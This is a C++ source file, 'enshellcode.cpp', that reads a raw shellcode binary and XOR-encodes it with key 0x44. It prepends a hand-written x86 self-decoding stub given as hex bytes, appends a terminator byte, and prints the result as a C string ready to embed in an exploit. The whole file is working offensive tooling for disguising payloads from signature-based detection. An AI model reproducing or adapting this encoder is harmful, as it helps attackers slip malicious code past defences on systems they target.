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enshellcode.cpp

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#include <windows.h>

size_t GetSize(char * szFilePath)

{

size_t size;

FILE* f = fopen(szFilePath, "rb");

fseek(f, 0, SEEK_END);

size = ftell(f);

rewind(f);

fclose(f);

return size;

}

unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)

{

unsigned char *p = NULL;

FILE* f = NULL;

size_t res = 0;

*size = GetSize(szFilePath);

if (*size == 0) return NULL;

f = fopen(szFilePath, "rb");

if (f == NULL)

{

printf("Binary file does not exists!\n");

return 0;

}

p = new unsigned char[*size];

rewind(f);

res = fread(p, sizeof(unsigned char), *size, f);

fclose(f);

if (res == 0)

{

delete[] p;

return NULL;

}

return p;

}

int main(int argc, char* argv[])

{

char *szFilePath="c:\\test\\shellcode.bin";

char *szFilePath2="c:\\test\\shellcode2.bin";

unsigned char *BinData = NULL;

size_t size = 0;

BinData = ReadBinaryFile(szFilePath, &size);

for(int i=0;i<size;i++)

{

BinData[i]=BinData[i]^0x44;

}

FILE* f = NULL;

f = fopen(szFilePath2, "wb");

if (f == NULL)

{

printf("Create error\n");

return 0;

}

char decode[]="\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1";

char end[]="\xD5";

fwrite(decode,20,1,f);

fwrite(BinData,size,1,f);

fwrite(end,1,1,f);

fclose(f);

f = fopen(szFilePath2, "rb");

if (f == NULL)

{

printf("Create error\n");

return 0;

}

unsigned char *BinData2 = NULL;

size_t size2 = 0;

BinData2 = ReadBinaryFile(szFilePath2, &size2);

printf("\"");

for (int j=0;j<size2;j++)

{

printf("\\x%02x",BinData2[j]);

if((j+1)%16==0)

printf("\"\n\"");

}

printf("\"");

fclose(f);

return 0;

}